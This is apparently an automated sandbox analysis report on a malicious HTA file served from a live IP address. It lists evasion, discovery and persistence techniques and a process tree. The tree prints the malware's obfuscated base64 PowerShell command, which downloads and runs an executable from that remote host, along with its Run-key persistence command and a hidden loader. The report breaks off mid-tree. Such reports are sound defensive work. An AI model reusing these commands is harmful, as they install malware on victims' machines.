hxxp://23[.]94[.]239[.]112/xampp/lmt/IEexplore[.]hta

Analysis

max time kernel
147s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09/08/2024, 17:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

http://23.94.239.112/xampp/lmt/IEexplore.hta

Score

8^/10

defense_evasion discovery execution persistence phishing

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
33	3684	powershell.exe
34	2484	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5740	powershell.exe
6016	powershell.exe
5632	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 6 IoCs

defense_evasion execution

pid	Process
2144	cmd.exe
3684	powershell.exe
4956	cmd.exe
2484	powershell.exe
5536	cmd.exe
5596	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 3 IoCs

pid	Process
5580	sahosts.exe
5980	sahosts.exe
5432	sahosts.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Miljfarlig = "%skaberevnes% -windowstyle minimized $Irreconcilable=(Get-ItemProperty -Path 'HKCU:\\Untranquilly\\').Vnnedes;%skaberevnes% ($Irreconcilable)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Miljfarlig = "%skaberevnes% -windowstyle minimized $Irreconcilable=(Get-ItemProperty -Path 'HKCU:\\Untranquilly\\').Vnnedes;%skaberevnes% ($Irreconcilable)"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
6016	powershell.exe
5740	powershell.exe
5988	wab.exe
4188	wab.exe
5632	powershell.exe
5616	wab.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5740 set thread context of 4188	5740	powershell.exe	139
PID 6016 set thread context of 5988	6016	powershell.exe	138
PID 5632 set thread context of 5616	5632	powershell.exe	146

Detected phishing page
phishing

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\monopolies\Semiconformist209.ini	sahosts.exe
File opened for modification	C:\Windows\monopolies\Semiconformist209.ini	sahosts.exe
File opened for modification	C:\Windows\monopolies\Semiconformist209.ini	sahosts.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
5508	5616	WerFault.exe	146
1824	5616	WerFault.exe	146

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sahosts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sahosts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sahosts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x000d00000002343f-162.dat	nsis_installer_1
behavioral1/files/0x000d00000002343f-162.dat	nsis_installer_2

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings	msedge.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
5224	reg.exe
5384	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 140055.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 51 IoCs

pid	Process
5116	msedge.exe
5116	msedge.exe
2604	msedge.exe
2604	msedge.exe
4832	identity_helper.exe
4832	identity_helper.exe
4984	msedge.exe
4984	msedge.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
2484	powershell.exe
2484	powershell.exe
2484	powershell.exe
5596	powershell.exe
5596	powershell.exe
5596	powershell.exe
5740	powershell.exe
5740	powershell.exe
5740	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
5740	powershell.exe
5740	powershell.exe
5740	powershell.exe
5740	powershell.exe
5740	powershell.exe
5740	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
5740	powershell.exe
6016	powershell.exe
5632	powershell.exe
5632	powershell.exe
5632	powershell.exe
5632	powershell.exe
5632	powershell.exe
5632	powershell.exe
5632	powershell.exe
5632	powershell.exe
5632	powershell.exe
5632	powershell.exe
5732	msedge.exe
5732	msedge.exe
5732	msedge.exe
5732	msedge.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
6016	powershell.exe
5740	powershell.exe
5632	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	5596	powershell.exe
Token: SeDebugPrivilege	5740	powershell.exe
Token: SeDebugPrivilege	6016	powershell.exe
Token: SeDebugPrivilege	5632	powershell.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe
2604	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2604 wrote to memory of 2988	2604	msedge.exe	83
PID 2604 wrote to memory of 2988	2604	msedge.exe	83
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 2328	2604	msedge.exe	84
PID 2604 wrote to memory of 5116	2604	msedge.exe	85
PID 2604 wrote to memory of 5116	2604	msedge.exe	85
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86
PID 2604 wrote to memory of 4240	2604	msedge.exe	86

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://23.94.239.112/xampp/lmt/IEexplore.hta
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffc7b446f8,0x7fffc7b44708,0x7fffc7b44718
  2⤵
  PID:2988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2264 /prefetch:2
  2⤵
  PID:2328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:8
  2⤵
  PID:4240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
  2⤵
  PID:2280
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
  2⤵
  PID:2520
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4976 /prefetch:8
  2⤵
  PID:3480
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4976 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5412 /prefetch:1
  2⤵
  PID:4716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5368 /prefetch:1
  2⤵
  PID:1236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5052 /prefetch:8
  2⤵
  PID:212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5364 /prefetch:1
  2⤵
  PID:4576
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6036 /prefetch:1
  2⤵
  PID:844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6032 /prefetch:1
  2⤵
  PID:4276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4984
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloads\IEexplore.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  PID:1516
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c POWERsHEll.exE -EX BYPASs -NOp -W 1 -C DeVICEcrEDentiAlDePloYment.exE ; IEX($(IEX('[sySTEm.TEXt.EnCOdING]'+[ChaR]58+[cHAr]58+'UTf8.gETsTRINg([SyStEM.Convert]'+[CHar]58+[chAr]0x3A+'FrombaSE64sTriNg('+[chaR]0x22+'JHA2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJlUmRFRklOaXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uZGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9sU2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdldpckdhYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGp2Tix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCS2gsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQnJRY2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxWk5PRVFESXFKYiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHA2OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTQuMjM5LjExMi8xMTgvc2Fob3N0LmV4ZSIsIiRlTlY6QVBQREFUQVxzYWhvc3RzLmV4ZSIsMCwwKTtzdGFSdC1zTGVFUCgzKTtTVGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3RzLmV4ZSI='+[cHAr]0x22+'))')))"
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    PID:2144
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      POWERsHEll.exE -EX BYPASs -NOp -W 1 -C DeVICEcrEDentiAlDePloYment.exE ; IEX($(IEX('[sySTEm.TEXt.EnCOdING]'+[ChaR]58+[cHAr]58+'UTf8.gETsTRINg([SyStEM.Convert]'+[CHar]58+[chAr]0x3A+'FrombaSE64sTriNg('+[chaR]0x22+'JHA2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJlUmRFRklOaXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uZGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9sU2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdldpckdhYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGp2Tix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCS2gsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQnJRY2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxWk5PRVFESXFKYiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHA2OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTQuMjM5LjExMi8xMTgvc2Fob3N0LmV4ZSIsIiRlTlY6QVBQREFUQVxzYWhvc3RzLmV4ZSIsMCwwKTtzdGFSdC1zTGVFUCgzKTtTVGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3RzLmV4ZSI='+[cHAr]0x22+'))')))"
      4⤵
      Blocklisted process makes network request
      Evasion via Device Credential Deployment
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3684
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oq3uous5\oq3uous5.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5144
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCA45.tmp" "c:\Users\Admin\AppData\Local\Temp\oq3uous5\CSC6E298AD59884644BD72571672C0D57C.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5184
    - - C:\Users\Admin\AppData\Roaming\sahosts.exe
        
        "C:\Users\Admin\AppData\Roaming\sahosts.exe"
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5580
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -windowstyle hidden "$Apologetics=Get-Content 'C:\Users\Admin\AppData\Local\Temp\ew\Tubolabellate255\drmmesynerne\Planular\Fikserbilleders.Suv';$Nybyggerens=$Apologetics.SubString(4057,3);.$Nybyggerens($Apologetics)"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:5740
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        7⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:4188
        
        C:\Windows\SysWOW64\cmd.exe
        
